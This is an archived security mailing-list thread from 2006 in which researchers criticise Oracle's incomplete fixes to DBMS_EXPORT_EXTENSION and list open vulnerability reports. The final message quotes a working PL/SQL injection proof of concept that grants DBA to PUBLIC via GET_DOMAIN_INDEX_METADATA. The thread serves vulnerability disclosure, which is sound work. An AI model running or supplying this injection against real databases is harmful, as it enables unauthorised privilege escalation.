Re: Recent Oracle exploit is _actually_ an 0day with no patch
Alexander Kornbrust wrote: Currently I have 40+ OPEN/UNFIXED security issues in Oracle products. A detailed list from Oracle secalert (Report March 2006) can be found at the end of this email or (the latest version) on my webpage: SNIP If Cesar, Esteban and David have a similar number of open security bugs, Between my bugs, Paul Wright's and my brother Mark's, I can confirm NGSSoftware are waiting on 63 vulnerabilities being fixed. Over 80% of these issues are critical/high and allow an attacker to gain DBA privs. Cheers, David Litchfield NGSSoftware Ltd http://www.ngssoftware.com/ +44 (0) 208 401 0070
Re: Recent Oracle exploit is _actually_ an 0day with no patch
The recent Oracle exploit posted to Bugtraq (http://www.securityfocus.com/archive/1/431353) is actually an 0day and has no patch. The referenced exploit seems to use GET_DOMAIN_INDEX_METADATA with a TYPE_NAME that references an attacker-defined package with a (modified?) ODCIIndexGetMeta function. Your last example uses GET_V2_DOMAIN_INDEX_TABLES, with arguments that reference an attacker-defined package with a (modified?) ODCIIndexUtilGetTableNames function. Is this a surface-level discrepancy, or is your vector substantively different than the one in the exploit? If these are different, then is it possible that last week's exploit was actually fixed? - Steve P.S. For those of you who are paying attention at this excruciating level of detail, it seems that David's original use of GET_DOMAIN_INDEX_METADATA in 2004 directly included the code in the NEWBLOCK argument, whereas last week's exploit was performed through an indirect reference to the code in the TYPE_NAME argument.
Re: Recent Oracle exploit is _actually_ an 0day with no patch
David is right, we also have reported hundreds of vulnerabiities to Oracle and they only fix what you report to them, they don't care to fix the same vulnerability on different portions of code, one good example is that Oracle should have eliminated SQL injection bugs since long time ago but there are still SQL injection bugs all around because they only fix bugs reported by researchers. I remember Mary Ann Davidson saying Oracle finds more than 75 percent of significant security vulnerabilities in-house (http://news.com.com/When+security+researchers+become+the+problem/2010-1071_3-5807074.html) so WTF you don't fix them! I really can't understand how customers don't demand better security to Oracle or switch to other vendor, I would like to have customers like that so you can sell very unsecure products to them and them won't ever complain so I can save billons not improving security on products and make a lot of money. PS: Look at this paper dated February 2002, amazing how Oracle efforts are visible on 2006! http://www.cgisecurity.com/database/oracle/pdf/unbreak3.pdf Cesar. --- David Litchfield [EMAIL PROTECTED] wrote: The recent Oracle exploit posted to Bugtraq (http://www.securityfocus.com/archive/1/431353) is actually an 0day and has no patch. The referenced exploit seems to use GET_DOMAIN_INDEX_METADATA with a TYPE_NAME that references an attacker-defined package with a (modified?) ODCIIndexGetMeta function. Your last example uses GET_V2_DOMAIN_INDEX_TABLES, with arguments that reference an attacker-defined package with a (modified?) ODCIIndexUtilGetTableNames function. Is this a surface-level discrepancy, or is your vector substantively different than the one in the exploit? If these are different, then is it possible that last week's exploit was actually fixed? No; the same problem occurs. This is the kind of general problem I'm speaking about. Most vendors that actually understand security will look for other bugs in the same functional area if you point out a bug. IMO, my job as a security vulnerability researcher is to highlight problem areas - i.e. areas of functionality that are rife with issues. How can Oracle fix one issue but miss the same flaw two lines later??? In this case though, we're not just talking about one flaw but several. Really, it is inconceivable, yet they, somehow, manage to do it. God forbid that any of our critical national infrastructure runs on this product oops it does :( And every version from 8 through 9 to 10 release 2 is vulnerable. That's every supported version of Oracle on every operating system. Oracle customers: honestly - Oracle are not going to listen to the likes of me - but they will listen folks like you. If you're not happy with the response you're getting from Oracle then get on the 'phone - call them up and tell them that you're not happy. Please, demand improvements. By the way, this is not an isolated incident. I have many examples to hand where Oracle have tried to fix problems in the same functional area but only whitewashed it. They should be proactively looking for similar issues in the same code just like Microsoft does. The champion of quality coding movement (http://www.cio.com/archive/031505/security.html) , who applauds ethical hacking, asks Why isn't that standard development process? I don't know... but I don't think we'll find out in the two year time frame posited; we've got less than a year to go. - Steve P.S. For those of you who are paying attention at this excruciating level of detail, it seems that David's original use of GET_DOMAIN_INDEX_METADATA in 2004 directly included the code in the NEWBLOCK argument, whereas last week's exploit was performed through an indirect reference to the code in the TYPE_NAME argument. p.p.s. Just to clarify the issues: GET_DOMAIN_INDEX_TABLES GET_DOMAIN_INDEX_METADATA GET_V2_DOMAIN_INDEX_TABLES are all vulnerable to the exploit. Cheers, David Litchfield NGSSoftware Ltd, http://www.ngssoftware.com/ +44 (0) 208 401 0070 __ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com
RE: Recent Oracle exploit is _actually_ an 0day with no patch
Cesar, David and Steve, I agree with your opinion. Oracle is not really fast fixing security issues. Currently I have 40+ OPEN/UNFIXED security issues in Oracle products. A detailed list from Oracle secalert (Report March 2006) can be found at the end of this email or (the latest version) on my webpage: http://www.red-database-security.com/advisory/upcoming_alerts.html Let's do some math. According to Mary Ann Davidson 75 % of all security bugs are found by Oracle employees: If bugs are fixed independently by the reporter then 25 % = 40 unfixed bugs ( found by Red-Database-Security) 75 % = 120 unfixed bugs ( found by Oracle employees) == 160 security bugs are still unfixed. If Cesar, Esteban and David have a similar number of open security bugs, 25 % = 100 unfixed bugs ( ESTIMATED: reported by Argeniss, NGS and RDS) 75 % = 300 unfixed bugs ( reported by Oracle employees) == 400 (!!!) security bugs in Oracle are still unfixed. UNBREAKABLE... Regards Alexander -- Red-Database-Security GmbH http://www.red-database-security.com # -Original Message- From: Oracle Security Alerts [mailto:[EMAIL PROTECTED] Sent: Tuesday, March 14, 2006 7:29 PM To: Kornbrust, Alexander Subject: Status of Red Database Security open vulnerability reports The following is a list of all open issues that you have reported to us, and their current status. Reporter: Alexander Kornbrust ([EMAIL PROTECTED]) Organization: Red Database Security Tracking #: 2005-S050E Description:plaintext password exposure using xxx Status: Under investigation / Being fixed in main codeline Tracking #: 2005-S066E Description:xxx plaintext password in xxx Status: Issue fixed in main codeline, scheduled for a future CPU Tracking #: 2005-S067E Description:xxx plaintext password in xxx Status: Issue fixed in main codeline, scheduled for a future CPU Tracking #: 5448895 Description:xxx ARE RUN AS SYS WHEN USING xxx Status: Issue fixed in main codeline, scheduled for a future CPU Tracking #: 5883663 Description:XSS in Oracle xxx using xxx and xxx Status: Issue fixed in main codeline, scheduled for a future CPU Tracking #: 5883665 Description:XSS in Oracle xxx using xxx and xxx Status: Issue fixed in main codeline, scheduled for a future CPU Tracking #: 6343787 (Duplicate -- Previously reported) Description:xxx CROSS SITE SCRIPTING VULNERABILITY USING xxx Status: Issue fixed in main codeline, scheduled for a future CPU Tracking #: 6343935 (Duplicate -- Previously reported) Description:CROSS SITE SCRIPTING IN xxx Status: Issue fixed in main codeline, scheduled for a future CPU Tracking #: 6454153 Description:SQL INJECTION VULNERABILITY IN xxx USING xxx Status: Issue fixed in main codeline, scheduled for a future CPU Tracking #: 6454409 Description:xxx CAN BE BYPASSED USING xxx Status: Under investigation / Being fixed in main codeline Tracking #: 6543483 Description:SECURITY GUIDE NEEDS TO DOCUMENT DANGERS OF xxx Status: Under investigation / Being fixed in main codeline Tracking #: 6543923 Description:xxx Status: Under investigation / Being fixed in main codeline Tracking #: 6914665 Description:xxx CAN CRASH (POSSIBLE BUFFER OVERFLOW) IF HANDCRAFTED PACKET PRESENTED Status: Issue fixed in main codeline, scheduled for a future CPU Tracking #: 6980695 Description:SQL Injection in xxx Status: Issue fixed in main codeline, scheduled for a future CPU Tracking #: 6980701 Description:SQL Injections in xxx Status: Issue fixed in main codeline, scheduled for a future CPU Tracking #: 6980711 Description:SQL Injections in xxx Status: Issue fixed in main codeline, scheduled for a future CPU Tracking #: 6980717 Description:SQL Injection in xxx Status: Issue fixed in main codeline, scheduled for a future CPU Tracking #: 6980725 Description:SQL Injections in xxx Status: Issue fixed in main codeline, scheduled for a future CPU Tracking #: 6980733 Description:SQL Injections in xxxand xxx Status: Issue fixed in main codeline, scheduled for a future CPU Tracking #: 6980737 Description:SQL Injections in xxx Status: Issue fixed in main codeline, scheduled for a future CPU Tracking #: 6980745 Description:SQL Injection in xxx Status: Issue fixed in main codeline, scheduled for a future CPU Tracking #: 6980751 Description:SQL Injections in
Re: Recent Oracle exploit is _actually_ an 0day with no patch
The recent Oracle exploit posted to Bugtraq (http://www.securityfocus.com/archive/1/431353) is actually an 0day and has no patch. The referenced exploit seems to use GET_DOMAIN_INDEX_METADATA with a TYPE_NAME that references an attacker-defined package with a (modified?) ODCIIndexGetMeta function. Your last example uses GET_V2_DOMAIN_INDEX_TABLES, with arguments that reference an attacker-defined package with a (modified?) ODCIIndexUtilGetTableNames function. Is this a surface-level discrepancy, or is your vector substantively different than the one in the exploit? If these are different, then is it possible that last week's exploit was actually fixed? No; the same problem occurs. This is the kind of general problem I'm speaking about. Most vendors that actually understand security will look for other bugs in the same functional area if you point out a bug. IMO, my job as a security vulnerability researcher is to highlight problem areas - i.e. areas of functionality that are rife with issues. How can Oracle fix one issue but miss the same flaw two lines later??? In this case though, we're not just talking about one flaw but several. Really, it is inconceivable, yet they, somehow, manage to do it. God forbid that any of our critical national infrastructure runs on this product oops it does :( And every version from 8 through 9 to 10 release 2 is vulnerable. That's every supported version of Oracle on every operating system. Oracle customers: honestly - Oracle are not going to listen to the likes of me - but they will listen folks like you. If you're not happy with the response you're getting from Oracle then get on the 'phone - call them up and tell them that you're not happy. Please, demand improvements. By the way, this is not an isolated incident. I have many examples to hand where Oracle have tried to fix problems in the same functional area but only whitewashed it. They should be proactively looking for similar issues in the same code just like Microsoft does. The champion of quality coding movement (http://www.cio.com/archive/031505/security.html) , who applauds ethical hacking, asks Why isn't that standard development process? I don't know... but I don't think we'll find out in the two year time frame posited; we've got less than a year to go. - Steve P.S. For those of you who are paying attention at this excruciating level of detail, it seems that David's original use of GET_DOMAIN_INDEX_METADATA in 2004 directly included the code in the NEWBLOCK argument, whereas last week's exploit was performed through an indirect reference to the code in the TYPE_NAME argument. p.p.s. Just to clarify the issues: GET_DOMAIN_INDEX_TABLES GET_DOMAIN_INDEX_METADATA GET_V2_DOMAIN_INDEX_TABLES are all vulnerable to the exploit. Cheers, David Litchfield NGSSoftware Ltd, http://www.ngssoftware.com/ +44 (0) 208 401 0070
Recent Oracle exploit is _actually_ an 0day with no patch
The recent Oracle exploit posted to Bugtraq
(http://www.securityfocus.com/archive/1/431353) is actually an 0day and has
no patch. The patch for 10g Release 2 for April 2006 Critical Patch Update
does _not_ contain a fix for the specific flaw that the exploit takes
advantage of. As it happens - this specific flaw was reported to Oracle on
the 19th of February 2006.
It is incredible how, for such a small package, DBMS_EXPORT_EXTENSION has
had so many problems that Oracle have been unable to fix. Let's look at the
history.
On the 13th April 2004 I reported a SQL injection vulnerability to Oracle in
the GET_DOMAIN_INDEX_METADATA function of this package. Oracle released a
fix for this in Alert 68 (August 2004) - but it turns out the fix was not
sufficient. I alerted Oracle to this problem on the 18th of February 2005.
They again attempted to fix these flaws - this time in the October 2005 CPU.
On the 30th of October I reported that the problems were still not fixed
properly. They then tried to fix it again in the January 2006 CPU - but
again there were still issues left. I reported this on 19th of February
2006. I was told the April 2006 CPU contained a fix - but it still
vulnerable.
At the end of this mail are copies of my communications with Oracle with
regards to the flaws in this package. It is unfortunate that Oracle did not
take the opportunity to fix the flaws first time around. It is amazing
Oracle didn't fix them second time around. It is disgraceful, IMO, that they
didn't fix them properly third time around.
I call upon Oracle to pull their finger out and get on with delivering
their customers a proper patch - one that finally puts these issues to bed.
In the meantime, revoking the PUBLIC execute permission from this package
will help mitigate the risk.
Cheers,
David Litchfield
NGSSoftware Ltd
http://www.ngssoftware.com/
+44(0)208 401 0070
** Oracle's response to 13/04/2004 report **
Thanks David. This will also be investigated. This will be reference number
2004S141E.
Andrew
Oracle Security Alerts
On 04/13/2004 06:17 PM, David Litchfield wrote:
Howdy,
The DBMS_EXPORT_EXTENSION owned by SYS is vulnerable to PL/SQL
injection that allows a low priv user to become a DBA. It executes a
block of anonymous PL/SQL that we can insert something like EXECUTE
IMMEDIATE ''grant dba to public'' in.
DECLARE
NB PLS_INTEGER;
BUF VARCHAR2(2000);
BEGIN
BUF:=
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA('FOO','SCH','FOO',
'EXFSYS.EXPRESSIONINDEXMETHODS.ODCIIndexGetMetadata(oindexinfo,:p3,
:p4,ENV); EXCEPTION WHEN OTHERS THEN EXECUTE IMMEDIATE ''GRANT DBA TO
PUBLIC'';END; --','VER',NB,1); END; /
When this query runs, the query in GET_DOMAIN_INDEX_METADATA returns
'no data' so we handle the exception using 'when others' and grant dba
to public in the exception block.
Cheers,
David
** Oracle's response to 18/02/2005 report **
Hi David,
We received four emails from you Friday which we are investigating. You
believe that the issues are more general cases of bugs that were fixed in
Alert 68, but we think at least one issue you reported on Friday is new. We
normally get tracking numbers to you promptly, but these issues are taking
longer because it's unclear if we should re-open the old tracking numbers
(because it is an extension of the old issue) or track as new issues. We
will get back to you with tracking numbers once we have a definitive answer.
I appreciate your patience.
Regards,
Darius Wiles
Security Alerts Manager
David Litchfield sent the following message on 02/23/2005 12:53 PM:
Just wondering if anyone's there and whether this mail (and the others
sent on Friday) were received?
Cheers,
David
- Original Message - From: David Litchfield
[EMAIL PROTECTED]
To: 'Oracle Security Alerts' [EMAIL PROTECTED]
Cc: [EMAIL PROTECTED]
Sent: Friday, February 18, 2005 3:52 PM
Subject: Patch is broken for
DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA
The patch for alert 68 fixed the
DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA SQL injection
problem; I put fixed in quotes because it's not fixed.
Here's the original problem:
The DBMS_EXPORT_EXTENSION owned by SYS is vulnerable to PL/SQL
injection that allows a low priv user to become a DBA. It executes a
block of anonymous PL/SQL that we can insert something like EXECUTE
IMMEDIATE ''grant dba to public'' in.
DECLARE
NB PLS_INTEGER;
BUF VARCHAR2(2000);
BEGIN
BUF:=
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA('FOO','SCH','FOO'
,'EXFSY
S.EXPRESSIONINDEXMETHODS.ODCIIndexGetMetadata(oindexinfo,:p3,:p4,E
NV); EXCEPTION WHEN OTHERS THEN EXECUTE IMMEDIATE ''GRANT DBA TO
PUBLIC'';END; --','VER',NB,1); END; /
Here's the function prototype
FUNCTION GET_DOMAIN_INDEX_METADATA (INDEX_NAME IN VARCHAR2,
INDEX_SCHEMA IN VARCHAR2, TYPE_NAME IN VARCHAR2, TYPE_SCHEMA IN
VARCHAR2, VERSION IN
VARCHAR2, NEWBLOCK OUT PLS_INTEGER, GMFLAGS IN
